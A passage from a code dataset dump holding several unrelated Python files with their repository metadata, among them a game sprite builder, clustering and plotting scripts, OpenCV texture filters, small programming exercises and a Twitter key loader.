\"wb\") as fo:\n fo.write(result.content)\n\nimage = cv2.imread(\"dino.png\", cv2.IMREAD_UNCHANGED)\n# 如果图像具有透明通道\nif image.shape[2] == 4:\n # 将透明像素的RGB值设置为白色\n image[np.where(image[:, :, 3] == 0)] = [255, 255, 255, 255]\n\n# 将帧转换为灰度图像\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# 进行二值化处理\n_, binary = cv2.threshold(gray, 200, 255, cv2.THRESH_BINARY)\nbinary = cv2.bitwise_not(binary)\n\n# 小恐龙动画,三帧\ndino_list = []\ngrab = img_grap(binary, 850 + 44 * 0, 4, 40, 43)\nresize = cv2.resize(grab, (20, 20), interpolation=cv2.INTER_NEAREST)\ndino_list.append(resize)\n\ngrab = img_grap(binary, 850 + 44 * 2, 4, 40, 43)\nresize = cv2.resize(grab, (20, 20), interpolation=cv2.INTER_NEAREST)\ndino_list.append(resize)\n\ngrab = img_grap(binary, 850 + 44 * 3, 4, 40, 43)\nresize = cv2.resize(grab, (20, 20), interpolation=cv2.INTER_NEAREST)\ndino_list.append(resize)\n\nimage_list_to_header(dino_list, \"dino\", \"dino\")\n\n# 鸟的动画\nbird_list = []\ngrab = img_grap(binary, 136 + 46 * 0, 4, 42, 36)\nresize = cv2.resize(grab, (21, 18), interpolation=cv2.INTER_NEAREST)\nbird_list.append(resize)\n\ngrab = img_grap(binary, 136 + 46 * 1, 4, 42, 36)\nresize = cv2.resize(grab, (21, 18), interpolation=cv2.INTER_NEAREST)\nbird_list.append(resize)\n\nimage_list_to_header(bird_list, \"dino\", \"bird\")\n\n# 树\n\ngrab = img_grap(binary, 229, 3, 15, 33)\nresize = cv2.resize(grab, (8, 16), interpolation=cv2.INTER_NEAREST)\nimage_list_to_header([resize], \"dino\", \"treeA\")\n\ngrab = img_grap(binary, 383, 3, 23, 46)\nresize = cv2.resize(grab, (13, 28), interpolation=cv2.INTER_NEAREST)\nimage_list_to_header([resize], \"dino\", \"treeB\")\n","repo_name":"liux-pro/AtomBoy","sub_path":"src/app/dino/resource/buildResource.py","file_name":"buildResource.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"73989253956","text":"import os\n\nimport matplotlib.pyplot as plt\nimport re\n\ntestdir = r'./result/test'\n\ntraindir = r'./result/train'\n\ntrain_savedir_loss = r'./result/output/train_loss.png'\ntrain_savedir_acc = r'./result/output/train_acc.png'\ntest_savedir = r'./result/output/test.png'\n\n\ndef read_test_data(filepath):\n with open(filepath, 'r') as f:\n y = []\n lines = f.readlines()\n for line in lines:\n number = float(re.findall(r'\\d+\\.\\d+', line)[0])\n y.append(number)\n x = [i for i in range(len(lines))]\n return x, y\n\n\ndef read_train_data(filepath):\n with open(filepath, 'r') as f:\n loss = []\n acc = []\n lines = f.readlines()\n for line in lines:\n loss_and_acc = re.findall(r'\\d+\\.\\d+', line)\n loss.append(float(loss_and_acc[0]))\n acc.append(float(loss_and_acc[1]))\n x = [i for i in range(len(lines))]\n return x, loss, acc\n\n\ndef plot_all(output, xs, ys, labels, suffix=''):\n min_len = len(xs[0])\n for i in range(len(xs)):\n min_len = min(min_len, len(xs[i]))\n for i in range(len(xs)):\n x, y, label = xs[i][0:min_len], ys[i][0:min_len], labels[i] + suffix\n plt.plot(x, y, label=label)\n plt.legend()\n plt.savefig(output, dpi=1000)\n plt.show()\n plt.cla()\n\n\ndef plot_train():\n xs = []\n losses = []\n accs = []\n labels = []\n for _, _, files in os.walk(traindir):\n for file in files:\n abs_path = traindir + '/' + file\n x, loss, acc = read_train_data(abs_path)\n label = file.replace('log_', '').replace('.txt', '')\n xs.append(x)\n losses.append(loss)\n accs.append(acc)\n labels.append(label)\n plot_all(train_savedir_loss, xs, losses, labels, '_loss')\n plot_all(train_savedir_acc, xs, accs, labels, '_acc')\n\n\ndef plot_test():\n xs = []\n accs = []\n labels = []\n for _, _, files in os.walk(testdir):\n for file in files:\n abs_path = testdir + '/' + file\n x, acc = read_test_data(abs_path)\n label = file.replace('acc_', '').replace('.txt', '')\n xs.append(x)\n accs.append(acc)\n labels.append(label)\n plot_all(test_savedir, xs, accs, labels, '_acc')\n\n\ndef main():\n plot_train()\n plot_test()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"xtommy-1/CIFAR10-CNN","sub_path":"code/resnet/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34144991984","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # `IN` Práctica 2. Análisis relacional mediante segmentación\n\n# Miguel Ángel Fernández Gutiérrez <>\n\n# ## Caso 3. Alquiler de segundas viviendas y poder adquisitivo\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nimport seaborn as sns\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.cluster import MeanShift\nfrom sklearn.cluster import Birch\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.cluster import AgglomerativeClustering\nfrom scipy.cluster import hierarchy\n\nfrom sklearn import preprocessing as sk_preprocessing\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.manifold import MDS\nfrom math import floor\n\nimport cluster, visualization, common\nfrom cluster import ClusterAlgorithm\n\nmpl.rcParams['figure.dpi'] = 120\n\n\n# Leemos el _dataset_, los usaremos en todos los casos:\n\n# In[2]:\n\n\ndata = pd.read_csv('./data/datos_hogar_2020.csv')\n\n\n# **Filtrado:** dispone de segunda vivienda\n\n# In[3]:\n\n\ncase = data[data['HV020']==1]\n\n\n# **Selección de variables** y renombrado\n\n# In[4]:\n\n\ncase_columns = {\n 'HY020': 'renta_disponible',\n 'HY040N': 'renta_alquiler',\n 'HV010': 'valor_vivienda',\n 'HS130': 'ingresos_minimos'\n}\ncase = case.rename(columns=case_columns)\ncase = case[case_columns.values()]\ncase\n\n\n# **Valores perdidos:** hay valores perdidos. En este caso lo que vamos a hacer no es imputar la media, sino eliminarlos\n\n# In[5]:\n\n\ncase.isna().sum()\n\n\n# In[7]:\n\n\ncase = case[case.valor_vivienda.notnull() & case.ingresos_minimos.notnull()]\ncase\n\n\n# In[8]:\n\n\ncase.isna().sum()\n\n\n# **Valores nulos:** hay muchos valores que son 0 en `renta_alquiler`\n# \n# _**Nota:** a continuación se muestran, fijada la variable, el número de instancias que tienen su valor no nulo._\n\n# In[9]:\n\n\ncase.astype(bool).sum(axis=0)\n\n\n# **Instanciamos y ejecutamos los algoritmos**\n\n# In[134]:\n\n\n# nota: en Birch hemos tenido que decrementar el threshold\nalgorithms = [\n ClusterAlgorithm(KMeans, name='K-Means', init='k-means++', n_clusters=5, n_init=5, random_state=common.RANDOM_SEED, centroid_attr=\"cluster_centers_\"),\n ClusterAlgorithm(Birch, name='Birch', branching_factor=25, threshold=0.1, n_clusters=5, centroid_attr=\"subcluster_centers_\"),\n ClusterAlgorithm(DBSCAN, name='DBSCAN', eps=0.01, min_samples=15),\n ClusterAlgorithm(MeanShift, name='MeanShift', centroid_attr=\"cluster_centers_\"),\n ClusterAlgorithm(AgglomerativeClustering, name='Ward', n_clusters=5, linkage='ward')\n]\n\n\n# In[135]:\n\n\nprint(\"Algoritmos a usar:\\n\")\n\nfor algorithm in algorithms:\n print(algorithm.__repr__())\n\n\n# In[136]:\n\n\nprint(\"Ejecutando instancias...\\n\")\n\nfor algorithm in algorithms:\n algorithm.run_instances(case, verbose=True)\n\n\n# In[137]:\n\n\nprint(\"Calculando métricas:\\n\")\n\nfor algorithm in algorithms:\n algorithm.calculate_metrics(cluster.metrics, verbose=True)\n\n\n# In[138]:\n\n\ncase_metrics = pd.DataFrame(columns=cluster.metrics.keys())\nfor algorithm in algorithms:\n case_metrics.loc[algorithm.algorithm_name] = algorithm.instances[0]['metrics']\ncase_metrics\n\n\n# In[161]:\n\n\nprint(case_metrics.to_latex())\n\n\n# ### Específico de Ward\n\n# In[139]:\n\n\ncluster.ward_specific(algorithms[4].instances[0])\n\n\n# ### Visualización\n\n# #### Heatmaps\n\n# ##### K-Means\n\n# In[140]:\n\n\nvisualization.plot_heatmap(algorithms[0].instances[0])\n\n\n# ##### Birch\n\n# In[141]:\n\n\nvisualization.plot_heatmap(algorithms[1].instances[0])\n\n\n# ##### DBSCAN\n\n# In[142]:\n\n\nvisualization.plot_heatmap(algorithms[2].instances[0])\n\n\n# ##### Mean Shift\n\n# In[143]:\n\n\nvisualization.plot_heatmap(algorithms[3].instances[0])\n\n\n# ##### Ward\n\n# In[144]:\n\n\nvisualization.plot_heatmap(algorithms[4].instances[0])\n\n\n# #### Cluster sizes\n\n# ##### K-Means\n\n# In[145]:\n\n\nvisualization.plot_cluster_sizes(algorithms[0].instances[0])\n\n\n# ##### Birch\n\n# In[146]:\n\n\nvisualization.plot_cluster_sizes(algorithms[1].instances[0])\n\n\n# ##### DBSCAN\n\n# In[147]:\n\n\nvisualization.plot_cluster_sizes(algorithms[2].instances[0])\n\n\n# ##### Mean Shift\n\n# In[148]:\n\n\nvisualization.plot_cluster_sizes(algorithms[3].instances[0])\n\n\n# ##### Ward\n\n# In[149]:\n\n\nvisualization.plot_cluster_sizes(algorithms[4].instances[0])\n\n\n# #### Scatter matrix\n\n# ##### K-Means\n\n# In[150]:\n\n\nvisualization.plot_scatter_matrix(algorithms[0].instances[0])\n\n\n# ##### Birch\n\n# In[151]:\n\n\nvisualization.plot_scatter_matrix(algorithms[1].instances[0])\n\n\n# ##### DBSCAN\n\n# In[152]:\n\n\nvisualization.plot_scatter_matrix(algorithms[2].instances[0])\n\n\n# ##### Mean Shift\n\n# In[153]:\n\n\nvisualization.plot_scatter_matrix(algorithms[3].instances[0])\n\n\n# ##### Ward\n\n# In[154]:\n\n\nvisualization.plot_scatter_matrix(algorithms[4].instances[0])\n\n\n# #### Boxplot\n\n# ##### K-Means\n\n# In[155]:\n\n\nvisualization.plot_boxplot(algorithms[0].instances[0])\n\n\n# ##### Birch\n\n# In[156]:\n\n\nvisualization.plot_boxplot(algorithms[1].instances[0])\n\n\n# ##### DBSCAN\n\n# In[157]:\n\n\nvisualization.plot_boxplot(algorithms[2].instances[0])\n\n\n# ##### Mean Shift\n\n# In[158]:\n\n\nvisualization.plot_boxplot(algorithms[3].instances[0])\n\n\n# ##### Ward\n\n# In[159]:\n\n\nvisualization.plot_boxplot(algorithms[4].instances[0])\n\n\n# #### Dendrograma\n\n# ##### Ward\n\n# In[45]:\n\n\nvisualization.plot_dendrogram(algorithms[4].instances[0])\n\n\n# In[46]:\n\n\nvisualization.plot_dendrogram_heat(algorithms[4].instances[0])\n\n\n# ### Análisis K-Means\n\n# In[160]:\n\n\nkmeans_ch = pd.DataFrame(columns=case.columns)\nkmeans_X_clusters = algorithms[0].instances[0]['X_clusters']\nfor cluster in algorithms[0].instances[0]['cluster_ids']:\n quantiles = kmeans_X_clusters[kmeans_X_clusters['cluster']==cluster].quantile([.25, .75])\n d = {}\n for col in case.columns:\n d[col] = f\"{quantiles.loc[.25][col]:.2f}-{quantiles.loc[.75][col]:.2f}\"\n kmeans_ch.loc[cluster] = d\nprint(kmeans_ch.to_latex())\n\n\n# In[47]:\n\n\nkmeans = ClusterAlgorithm(KMeans, name='K-Means', centroid_attr='cluster_centers_', not_instantiate=True)\n\n\n# In[48]:\n\n\nkmeans.add_instances_product({\n 'init': ['k-means++'],\n 'n_clusters': range(2, 20),\n 'n_init': [5],\n 'random_state': [common.RANDOM_SEED],\n})\n\n\n# In[49]:\n\n\nkmeans\n\n\n# In[50]:\n\n\nkmeans.run_instances(case, verbose=True)\n\n\n# In[51]:\n\n\nkmeans.calculate_metrics(cluster.metrics, verbose=True)\n\n\n# In[52]:\n\n\nkmeans_metrics = pd.DataFrame(columns=cluster.metrics.keys())\nfor i, instance in enumerate(kmeans.instances):\n kmeans_metrics.loc[i] = instance['metrics']\nkmeans_metrics\n\n\n# In[53]:\n\n\nsns.lineplot(data=kmeans_metrics, x=\"Número de clusters\", y=\"Calinski-Harabasz\")\n\n\n# In[54]:\n\n\nsns.lineplot(data=kmeans_metrics, x=\"Número de clusters\", y=\"Davies-Bouldin\")\n\n\n# In[55]:\n\n\nsns.lineplot(data=kmeans_metrics, x=\"Número de clusters\", y=\"Silhouette\")\n\n\n# ### Análisis DBSCAN\n\n# In[164]:\n\n\ndbscan_ch = pd.DataFrame(columns=case.columns)\ndbscan_X_clusters = algorithms[2].instances[0]['X_clusters']\nfor cluster in algorithms[2].instances[0]['cluster_ids']:\n quantiles = dbscan_X_clusters[dbscan_X_clusters['cluster']==cluster].quantile([.25, .75])\n d = {}\n for col in case.columns:\n d[col] = f\"{quantiles.loc[.25][col]:.2f}-{quantiles.loc[.75][col]:.2f}\"\n dbscan_ch.loc[cluster] = d\ndbscan_ch\n\n\n# In[97]:\n\n\ndbscan = ClusterAlgorithm(DBSCAN, name='DBSCAN', not_instantiate=True)\n\n\n# In[98]:\n\n\ndbscan.add_instances_product({\n 'eps': [.01, .025, .05, .1, .15, .2, .25, .3],\n 'min_samples': range(5, 25, 5),\n})\n\n\n# In[99]:\n\n\ndbscan\n\n\n# In[100]:\n\n\ndbscan.run_instances(case, verbose=True)\n\n\n# In[101]:\n\n\ndbscan.calculate_metrics(cluster.metrics, verbose=True)\n\n\n# In[125]:\n\n\ndbscan_metrics = pd.DataFrame(columns=['Epsilon', 'Mínimo de samples'] + list(cluster.metrics.keys()))\nfor i, instance in enumerate(dbscan.instances):\n d = instance['metrics']\n d['Epsilon'], d['Mínimo de samples'] = instance['instance_values']['eps'], instance['instance_values']['min_samples']\n dbscan_metrics.loc[i] = d\ndbscan_metrics['Número de clusters'] = dbscan_metrics['Número de clusters'].astype(str).astype(int)\ndbscan_metrics\n\n\n# In[126]:\n\n\n# fijado eps=.01\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Epsilon']==.01], x=\"Mínimo de samples\", y=\"Calinski-Harabasz\")\n\n\n# In[127]:\n\n\n# fijado eps=.01\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Epsilon']==.01], x=\"Mínimo de samples\", y=\"Davies-Bouldin\")\n\n\n# In[128]:\n\n\n# fijado eps=.01\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Epsilon']==.01], x=\"Mínimo de samples\", y=\"Silhouette\")\n\n\n# In[129]:\n\n\n# fijado eps=.01\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Epsilon']==.01], x=\"Mínimo de samples\", y=\"Número de clusters\")\n\n\n# In[130]:\n\n\n# fijado min_samples=10\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Mínimo de samples']==10], x=\"Epsilon\", y=\"Calinski-Harabasz\")\n\n\n# In[131]:\n\n\n# fijado min_samples=10\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Mínimo de samples']==10], x=\"Epsilon\", y=\"Davies-Bouldin\")\n\n\n# In[132]:\n\n\n# fijado min_samples=10\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Mínimo de samples']==10], x=\"Epsilon\", y=\"Silhouette\")\n\n\n# In[133]:\n\n\n# fijado min_samples=10\nsns.lineplot(data=dbscan_metrics[dbscan_metrics['Mínimo de samples']==10], x=\"Epsilon\", y=\"Número de clusters\")\n\n","repo_name":"mianfg-DGIIM/IN","sub_path":"Prácticas/Práctica 2/case_3.py","file_name":"case_3.py","file_ext":"py","file_size_in_byte":9131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21074747519","text":"bff=['vijaya','manthan','ashutosh','sidharth']\nlst=['google','apple','facebook','microsoft','tesla']\nrst=bff+lst\nprint(bff)\nprint(rst)\nlst.count(\"google\")\nprint(lst.count(\"google\"))\nnumber=[1,2,3,4,5,6,7,8,9,10]\nodd=[]\neven=[]\nfor x in number:\n if x%2==0:\n even.append(x)\n else:\n odd.append(x)\n\nprint(odd)\nprint(even)\ntuple=(1,2,3,4,5,6,7,8,9,10)\nb=tuple[::-1]\nprint(b)\nprint(max(tuple))\nprint(min(tuple))\nstr=\"vijay\"\nprint(str.upper())\nash=\"771039\"\nash.isnumeric()\nprint(ash.isnumeric())\nash2=\"hello world\"\nprint(ash2.replace(\"world\",\"riki\"))\n\n\n\n\n\n\n\n\n\n","repo_name":"Ashutoshrath64/hellogit","sub_path":"assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17663862414","text":"import math\nimport numpy as np\nimport cv2\nimport copy\nimport matplotlib.pyplot as plt\n\n# Size parameters\nheight = 512\nwidth = 512\n\n# Filter Bank\nFilterLevel = np.array([[1,4,6,4,1],\n [4,16,24,16,4],\n [6,24,32,24,6],\n [4,16,24,16,4],\n [1,4,6,4,1]],dtype=np.float32)\n\nFilterEdge = np.array([[1,2,0,-2,-1],\n [2,4,0,-4,-2],\n [0,0,0,0,0],\n [-2,-4,0,4,2],\n [-1,-2,0,2,1]], dtype=np.float32)\n\nFilterSpot = np.array([[1,0,-2,0,1],\n [0,0,0,0,0],\n [-2,0,-4,0,-2],\n [0,0,0,0,0],\n [1,0,-2,0,1]], dtype=np.float32)\n\nFilterEdgeLevel1 = np.array([[-1,-2,0,2,1],\n [-4,-8,0,8,4],\n [-6,-12,0,12,6],\n [-4,-8,0,8,4],\n [-1,-2,0,2,1]], dtype=np.float32)\n\nFilterEdgeLevel2 = np.array([[-1,-4,-6,-4,-1],\n [-2,-8,-12,-8,-2],\n [0,0,0,0,0],\n [2,8,12,8,2],\n [1,4,6,4,1]], dtype=np.float32)\n\nFilterSpotLevel1 = np.array([[-1,0,2,0,-1],\n [-4,0,8,0,-4],\n [-6,0,12,0,-6],\n [-4,0,8,0,-4],\n [-1,0,2,0,-1]], dtype=np.float32)\n\nFilterSpotLevel2 = np.array([[-1,-4,-6,-4,-1],\n [0,0,0,0,0],\n [2,8,12,8,2],\n [0,0,0,0,0],\n [-1,-4,-6,-4,-1]], dtype=np.float32)\n\nFilterEdgeSpot1 = np.array([[1,0,-2,0,1],\n [2,0,-4,0,2],\n [0,0,0,0,0],\n [-2,0,4,0,-2],\n [-1,0,2,0,-1]], dtype=np.float32)\n\nFilterEdgeSpot2 = np.array([[1,2,0,-2,-1],\n [0,0,0,0,0],\n [-2,-4,0,4,2],\n [0,0,0,0,0],\n [1,2,0,-2,-1]], dtype=np.float32)\n\n# read images\ncurrentImg = cv2.imread('output.png')\ncurrentImg = cv2.resize(currentImg, (width,height))\nlastImg = cv2.imread('output.png')\nlastImg = cv2.resize(lastImg, (width,height))\n# convert image to YCrCb and gray\ncurrentGray = cv2.cvtColor(currentImg, cv2.COLOR_BGRA2GRAY)\nlastGray = cv2.cvtColor(lastImg, cv2.COLOR_BGRA2GRAY)\ncurrentImg = cv2.cvtColor(currentImg, cv2.COLOR_BGR2YCrCb)\nlastImg = cv2.cvtColor(lastImg, cv2.COLOR_BGR2YCrCb)\n# Split channel\ncurrentY, currentCr, currentCb = cv2.split(currentImg)\nlastY, lastCr, lastCb = cv2.split(lastImg)\n\n# compute Level on Y, Cb and Cr channel\nLevelY = np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterLevel))/256\n#/256\nlevelCr = np.abs(cv2.filter2D(currentCr, cv2.CV_32F, FilterLevel))/256\n#/256\nlevelCb = np.abs(cv2.filter2D(currentCb, cv2.CV_32F, FilterLevel))/256\n#/256\n# compute Edge on Y channel\nEgdeY = np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterEdge))/36\n#/36\n# compute Spot on Y channel\nSpotY = np.abs(cv2.filter2D(EgdeY, cv2.CV_32F, FilterSpot))/16\n#/16\n# Compute Edge+Level on Y channel\nEdgeLevelY = np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterEdgeLevel1))/192 + np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterEdgeLevel2))/192\n#/192\n#/192\n# Compute Spot+Level on Y channel\nSpotLevelY = np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterSpotLevel1))/128 + np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterSpotLevel2))/128\n#/128\n#/128\n# Compute Spot+Edge on Y channel\nSpotEdgeY = np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterEdgeSpot1))/48 + np.abs(cv2.filter2D(currentY, cv2.CV_32F, FilterEdgeSpot2))/48\n#/48\n#/48\n\n\nplt.imshow(LevelY)\nplt.show()\nplt.imshow(levelCr)\nplt.show()\nplt.imshow(levelCb)\nplt.show()\nplt.imshow(EgdeY)\nplt.show()\nplt.imshow(SpotY)\nplt.show()\nplt.imshow(EdgeLevelY)\nplt.show()\nplt.imshow(SpotLevelY)\nplt.show()\nplt.imshow(SpotEdgeY)\nplt.show()\n","repo_name":"ParadoxRobotics/V1_experiment","sub_path":"FeatureExtractionBC.py","file_name":"FeatureExtractionBC.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5370968516","text":"import math\r\na,b = map(int,input().split())\r\ndem = 0\r\nfor i in range(10**(b-1),10**(b)):\r\n if math.gcd(a,i) == 1:\r\n dem+=1\r\n if dem%10 == 0 :\r\n print(i)\r\n else:\r\n print(i,end=\" \")","repo_name":"phongp3j/Python-PTIT","sub_path":"NguyenToCungNhau.py","file_name":"NguyenToCungNhau.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"31304381576","text":"from encryption import decrypt\n\n\ndef GetKeys(twitter_keys_path):\n consumer_key = ''\n consumer_secret = ''\n access_token = ''\n access_secret = ''\n PATH = 'twitter_keys/'\n l_files = ['consumer_key', 'consumer_secret', 'access_token', 'access_secret']\n\n for k in l_files:\n f = open(PATH + k, 'rb')\n key = f.read()\n if (k == 'consumer_key'):\n consumer_key = decrypt(key)\n if (k == 'consumer_secret'):\n consumer_secret = decrypt(key)\n if (k == 'access_token'):\n access_token = decrypt(key)\n if (k == 'access_secret'):\n access_secret = decrypt(key)\n f.close()\n \"\"\"\n for k in keys:\n try:\n values = k.split('\\n')[0].split('=')[1].strip()\n if(k.split('\\n')[0].split('=')[0].strip() == 'consumer_key'):\n consumer_key = decrypt(values)\n elif(k.split('\\n')[0].split('=')[0].strip() == 'consumer_secret'):\n consumer_secret = decrypt(values)\n elif(k.split('\\n')[0].split('=')[0].strip() == 'access_token'):\n access_token = decrypt(values)\n elif(k.split('\\n')[0].split('=')[0].strip() == 'access_secret'):\n access_secret = decrypt(values)\n except IndexError:\n # Maybe there are a '\\n' between keys\n continue\n\n \"\"\"\n return {'consumer_key': consumer_key, 'consumer_secret': consumer_secret,\n 'access_token': access_token, 'access_secret': access_secret}\n","repo_name":"Chaosthebot/Chaos","sub_path":"twitter_api/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":2449,"dataset":"github-code","pt":"62"} +{"seq_id":"33321341049","text":"from peewee import *\n\n\ndb = SqliteDatabase('orders.db')\n\n\nclass Orders(Model):\n name = CharField(max_length=255, primary_key=True)\n avg_count = IntegerField(default=0)\n take_count = IntegerField(default=0)\n\n class Meta:\n database = db # модель будет использовать базу данных 'orders.db'\n\n\nclass Student(Model):\n first_name = CharField(max_length=255, primary_key=True)\n last_name = CharField(max_length=255)\n\n class Meta:\n database = db # модель будет использовать базу данных 'orders.db'\n\n\ndef create_tables():\n with db:\n db.create_tables([Student, Orders,])\n\ncreate_tables()\n\nStudent.create(first_name=\"Aliy\", last_name=\"Achmizov\")\nStudent.create(first_name=\"Dmitry\", last_name=\"Deinega\")\nOrders.create(name=\"Banana\")\nOrders.create(name=\"Potato\")\ndb.commit()","repo_name":"AliyAcho/AGU_DB","sub_path":"create_database.py","file_name":"create_database.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41655679209","text":"#!/usr/bin/python3\n\"\"\"Pascal's Triangle Coding Challenge\"\"\"\n\n\ndef pascal_triangle(n):\n \"\"\"\n returns a list of lists of integers representing the Pascal’s triangle of n\n \"\"\"\n if n <= 0:\n return []\n\n triangle_list = [0] * n\n\n for i in range(n):\n new_list = [0] * (i + 1)\n new_list[0] = 1\n new_list[len(new_list) - 1] = 1\n\n for j in range(1, i):\n if j > 0 and j < len(new_list):\n a = triangle_list[i - 1][j]\n b = triangle_list[i - 1][j - 1]\n new_list[j] = a + b\n\n triangle_list[i] = new_list\n\n return triangle_list\n","repo_name":"masonk16/alx-interview","sub_path":"0x00-pascal_triangle/0-pascal_triangle.py","file_name":"0-pascal_triangle.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5692776070","text":"\n\nqueue = [\n\t{ 'name': 'Amanda', 'alcohol': 10, 'guns': 1 },\n\t{ 'name': 'Tibi', 'alcohol': 0, 'guns': 0 },\n\t{ 'name': 'Dolores', 'alcohol': 0, 'guns': 1 },\n\t{ 'name': 'Wade', 'alcohol': 1, 'guns': 1 },\n\t{ 'name': 'Anna', 'alcohol': 10, 'guns': 0 },\n\t{ 'name': 'Rob', 'alcohol': 2, 'guns': 0 },\n\t{ 'name': 'Joerg', 'alcohol': 20, 'guns': 0 }\n]\n\n# Queue of festivalgoers at entry\n# no. of alcohol units \n# no. of guns\n\n# Create a security_check function that returns a list of festivalgoers who can enter the festival\n\n# If guns are found, remove them and put them on the watchlist (only the names)\n# If alcohol is found confiscate it (set it to zero and add it to security_alchol_loot) and let them enter the festival\n\nsecurity_alcohol_loot = 0\nwatchlist = []\nenter = []\n\ndef security_check():\n\tglobal security_alcohol_loot\n\tfor i in range(len(queue)):\n\t\tif (queue[i]['guns']) > 0:\n\t\t\twatchlist.append(queue[i]['name'])\n\t\tif (queue[i]['alcohol']) > 0:\n\t\t\tsecurity_alcohol_loot += queue[i]['alcohol']\n\t\t\tqueue[i]['alcohol'] = 0\n\t\tif (queue[i]['guns']) == 0:\n\t\t\tenter.append(queue[i]['name'])\n\treturn enter\n\n\n\t\t\nprint(*security_check(), \" - can enter the festival\")\nprint(*watchlist, \" - are banned due to armed weapon\")\nprint(security_alcohol_loot, \" - obtained alcohol amount\")\t\n\n\n","repo_name":"green-fox-academy/andrasnyarai","sub_path":"week-02/d03/d4.py","file_name":"d4.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33482789395","text":"class Solution:\n def maxProfit(self, prices: List[int]) -> int:\n # Initialize variables to keep track of the minimum price and maximum profit.\n min1 = prices[0] # Initialize 'min1' with the first price in the list.\n max1 = 0 # Initialize 'max1' with 0 as the initial maximum profit.\n\n # Loop through the list of stock prices.\n for i in prices:\n if min1 > i:\n # If the current price is smaller than the minimum price seen so far,\n # update the minimum price to the current price.\n min1 = i\n elif i - min1 > max1:\n # If selling at the current price results in a larger profit than the\n # maximum profit seen so far, update the maximum profit.\n max1 = i - min1\n\n # Return the maximum profit obtained by buying and selling the stock.\n return max1\n","repo_name":"rohinipitta/SD2_TRAINING","sub_path":"LeetCode/121_ Best Time to Buy and Sell Stock.py","file_name":"121_ Best Time to Buy and Sell Stock.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22049958525","text":"from __future__ import annotations\n\nimport os\nfrom typing import Dict, Optional, Union\n\nimport bpy\nfrom HumGen3D.backend.preferences.preference_func import get_addon_root\nfrom HumGen3D.common.type_aliases import BpyEnum, GenderStr\n\nfrom ..common.exceptions import HumGenException # type: ignore\nfrom . import get_prefs, hg_log\n\npreview_collections: Dict[str, PreviewCollection] = {} # global dict of all pcolls\n\n# fmt: off\n# (extension, gender_dependent, folder, category_propname, search_term_propname, custom_icon) # noqa\nPcollDict = dict[str, tuple[Union[tuple[str, ...], str], bool, Union[list[str], str], Optional[str], Optional[str], Optional[str]]] #FIXME # noqa\nPREVIEW_COLLECTION_DATA: PcollDict = {\n \"humans\": (\".json\", True, \"models\", \"humans_category\", None, None),\n \"pose\": (\".blend\", False, \"poses\", \"pose_category\", \"search_term_pose\", None),\n \"outfit\": (\".blend\", True, \"outfits\", \"outfit_category\", \"search_term_outfit\", None), # noqa\n \"footwear\": (\".blend\", True, \"footwear\", \"footwear_category\", \"search_term_footwear\", None), # noqa\n \"hair\": (\".json\", True, [\"hair\", \"head\"], \"hair_category\", None, None),\n \"face_hair\": (\".json\", False, [\"hair\", \"face_hair\"], \"face_hair_category\", None, None), # noqa\n \"expression\": (\".npz\", False, [\"shapekeys\", \"expressions\"], \"expression_category\", \"search_term_expression\", None), # noqa\n \"pattern\": (\".png\", False, \"patterns\", \"pattern_category\", \"search_term_pattern\", None), # noqa\n \"texture\": ((\".png\", \".tiff\", \".tga\"), True, \"textures\", \"texture_category\", None, None), # noqa\n \"scripts\": (\".py\", False, \"scripts\", None, None, \"script.png\"),\n \"process_templates\": (\".json\", False, \"process_templates\", None, None, \"template.png\"), # noqa\n \"shapekeys\": (\".npz\", False, \"shapekeys\", None, None, \"shapekey.png\"),\n \"livekeys\": (\".npz\", False, \"livekeys\", None, None, \"livekey.png\"),\n}\n# fmt: on\n\n\ndef _check_for_HumGen_filepath_issues() -> None:\n \"\"\"Checks if HG filepath is set and if base content is installed.\n\n Raises:\n HumGenException: Raised when no filepath or no base content in the filepath\n 